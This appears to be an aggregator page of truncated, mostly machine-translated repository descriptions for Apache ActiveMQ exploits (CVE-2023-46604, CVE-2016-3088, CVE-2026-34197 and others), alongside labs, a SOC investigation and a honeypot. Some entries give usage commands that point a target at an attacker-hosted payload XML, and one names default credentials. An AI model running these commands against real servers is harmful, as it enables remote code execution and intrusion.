CVE-2023-46604

CVE-2023-46604 इस रिपॉजिटरी में Apache ActiveMQ को प्रभावित करने वाली CVE-2023-46604 भेद्यता के लिए एक एक्सप्लॉइट स्क्रिप्ट और एक प्रूफ ऑफ कॉन्सेप्ट PoC XML फ़ाइल शामिल है। यह भेद्यता OpenWire प्रोटोकॉल में असुरक्षित डीसीरियलाइज़ेशन प्रथाओं के कारण रिमोट कोड एक्ज़ीक्यूशन की अनुमति देती है। विवरण...

CVE-2016-3088

CVE-2016-3088 - تنفيذ كود عن بُعد في Apache ActiveMQ...

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ यह एक्सप्लॉइट मूल कार्य पर आधारित है जो https://github.com/X1cT34m https://github.com/X1r0z/ActiveMQ-RCE पर उपलब्ध है। हमने मेटास्प्लॉइट फ्रेमवर्क https://github.com/rapid7/metasploit-framework का उपयोग करके रिवर्स शेल प्राप्त करने की तकनीक को और...

apache-activemq-rce-research

Apache ActiveMQ Classic — أبحاث RCE أرشيف بحث خاص لسلسلة تنفيذ التعليمات البرمجية عن بُعد في Apache ActiveMQ Classic عبر Jolokia → addNetworkConnector → xbean/Spring-XML CVE-2026-34197 وتجاوز التصحيح الخاص بها CVE-2026-42588، بالإضافة إلى تدقيق بحث آلي كامل للإصدار المُصلَّح 6.2.6 ومقارنة جنبًا إ...

CVE-2026-34197

CVE-2026-34197 - Apache ActiveMQ Jolokia के माध्यम से RCE 1. अवलोकन...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

مرجع المشروع هذا المشروع هو إعادة كتابة exp من مشروع https://github.com/X1r0z/ActiveMQ-RCE إلى إصدار python من exp. الاستخدام root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 حيث أن المعامل -p الافتراضي هو المنفذ الافتراضي لـ activeMQ. المعامل -x...

CVE-2026-42588

CVE-2026-42588 - Apache ActiveMQ Jolokia استغلال ثغرة تنفيذ كود عن بُعد مستوى الخطورة : 🔴 مرتفع CVSS 4.0: 8.1 نوع الثغرة : CWE-94 — حقن كود الإصدارات المتأثرة : Apache ActiveMQ متطلب الاستغلال : يتطلب بيانات اعتماد مصادقة Web Console الافتراضية admin:admin 📋 الفهرس نظرة عامة على الثغرة آلية الثغر...

CVE-2024-21683-RCE

CVE-2024-21683-RCE Credit https://x.com/realalphaman https://realalphaman.substack.com/p/quick-note-about-cve-2024-21683-authenticated Usage root@kitploit: git clone https://github.com/W01fh4cker/CVE-2024-21683-RCE cd CVE-2024-21683-RCE pip install requests bs4 python CVE-2024-21683.py -u...

CVE-2016-3088

CVE-2016-3088 استغلال تنفيذ التعليمات البرمجية عن بُعد في Apache ActiveMQ الوصف تطبيق الويب Fileserver في Apache ActiveMQ 5.x قبل الإصدار 5.14.0 يسمح للمهاجمين عن بُعد بتحميل وتنفيذ ملفات عشوائية عبر طلب HTTP PUT متبوعًا بطلب HTTP MOVE. المؤلف Alexandre Aguiar @cyberaguiar تحليل الاستغلال تحليل...

CVE-2025-27533-Exploit-for-Apache-ActiveMQ

CVE-2025-27533-Exploit-for-Apache-ActiveMQ PoC शोषण CVE-2025-27533 के लिए, Apache ActiveMQ में एक Denial of Service DoS कमजोरी। यह उपकरण दुर्भावनापूर्ण OpenWire पैकेट भेजता है ताकि लक्ष्य सर्वर की JVM हीप मेमोरी समाप्त हो जाए, और संभावित रूप से पोर्ट 61616 पर ActiveMQ सेवा को क्रैश कर दे। उपयोग...

CVE-2016-3088

Apache ActiveMQ PUT RCE एक क्लिक getshell usage:python3 CVE-2016-3088.py -u https://tartget.com/...

CVE-Lab

CVE-2023-46604 लैब यह लैब CVE-2023-46604 की कमजोरियों का शोषण करने के बारे में मार्गदर्शन करता है। आभार Apache ActiveMQ CVE-2023-46604 पर्यावरण इस लैब में 2 वर्चुअल मशीनों की स्थापना आवश्यक है। एक Kali Linux मशीन संस्करण 2023.4 और एक Ubuntu मशीन संस्करण 22.04.3 LTS। आप उन्हें यहाँ से डाउनलोड कर...

ActiveMQ_CVE-2015-5254

إلغاء تسلسل ActiveMQ CVE-2015-5254 وصف الثغرة: توجد ثغرة أمنية في الإصدارات 5.x من Apache ActiveMQ قبل الإصدار 5.13.0، وتنبع هذه الثغرة من عدم قيام البرنامج بتقييد الفئات التي يمكن تسلسلها في الوسيط broker. يمكن للمهاجم عن بُعد استغلال هذه الثغرة لتنفيذ تعليمات برمجية عشوائية باستخدام كائنات Java...

CVE-2023-46604-ActiveMQ-RCE-pseudoshell

CVE-2023-46604 RCE स्यूडोशेल यह स्क्रिप्ट CVE-2023046604 Apache ActiveMQ का उपयोग करके एक स्यूडो शेल उत्पन्न करता है। यह कमजोरी OpenWire प्रोटोकॉल में असुरक्षित डिसीरियलाइज़ेशन के कारण रिमोट कोड निष्पादन की अनुमति देती है। विवरण CVE-2023-46604 एक डिसीरियलाइज़ेशन कमजोरी है जो Apache ActiveMQ के...

OpenWire-CVE-2023-46604-Investigation

OpenWire-CVE-2023-46604-Investigation OpenWire Lab During my shift as a Tier 2 Security Operations Center SOC Analyst, I received an escalation from a Tier 1 analyst regarding a publicly accessible server that had been observed communicating with multiple suspicious external IP addresses. In...

CVE-2023-46604-RCE

CVE-2023-46604-RCE भेद्यता Apache ActiveMQ में OpenWire परिवहन अनमार्शलर में एक डिसीरियलाइज़ेशन भेद्यता। प्रभावित संस्करणों में 5.18.0 से 5.18.2, 5.17.0 से 5.17.5, 5.16.0 से 5.16.6, और 5.15.16 से पहले के सभी संस्करण शामिल हैं। सेटअप POC.XML के अंदर मानों को अपनी आवश्यकतानुसार बदलें आपका कमांड...

honeypot.rs

honeypot.rs Honeypot qui cible CVE-2023-46604 Apache ActiveMQ RCE Vulnerability et est axé sur l'obtention d'indicateurs de compromission. Ce honeypot peut être utilisé dans toute infrastructure de Threat Intelligence pour obtenir les adresses IP des attaquants, des échantillons de...

Exploitation-de-la-vuln-rabilit-CVE-2015-5254-

استغلال الثغرة الأمنية CVE-2015-5254- الثغرة الأمنية CVE-2015-5254 هي عيب أمني في Apache ActiveMQ، وهو خادم رسائل مفتوح المصدر يُستخدم على نطاق واسع للاتصال بين التطبيقات. تؤثر هذه الثغرة على إصدارات ActiveMQ حتى الإصدار 5.13.0 وتكمن في نقص التصفية على بيانات الإدخال JMS ObjectMessage المرسلة. مس...

CVE-2026-34197-Lab

CVE-2026-34197 — مختبر Apache ActiveMQ Classic Jolokia RCE نظرة عامة هذا المستودع هو مختبر Docker محلي لدراسة CVE-2026-34197 ، وهي مشكلة تنفيذ أوامر عن بُعد في Apache ActiveMQ Classic يمكن الوصول إليها عبر واجهة Jolokia JMX-HTTP API. يقارن المختبر بين مثيلين من ActiveMQ Classic جنبًا إلى جنب:...

CVE-2026-41044

CVE-2026-41044 ملاحظة: لأغراض تعليمية فقط من النشرة إلى تحليل السبب الجذري في ظهيرة واحدة: كيف يختصر الذكاء الاصطناعي تحليل الثغرات القديمة شرح موجز وصادق لـ CVE-2026-41044 في Apache ActiveMQ باستخدام الكود الدقيق قبل وبعد التصحيح. تم الكشف عن CVE-2026-41044 في 24 أبريل 2026. وهي ثغرة تنفيذ كود ع...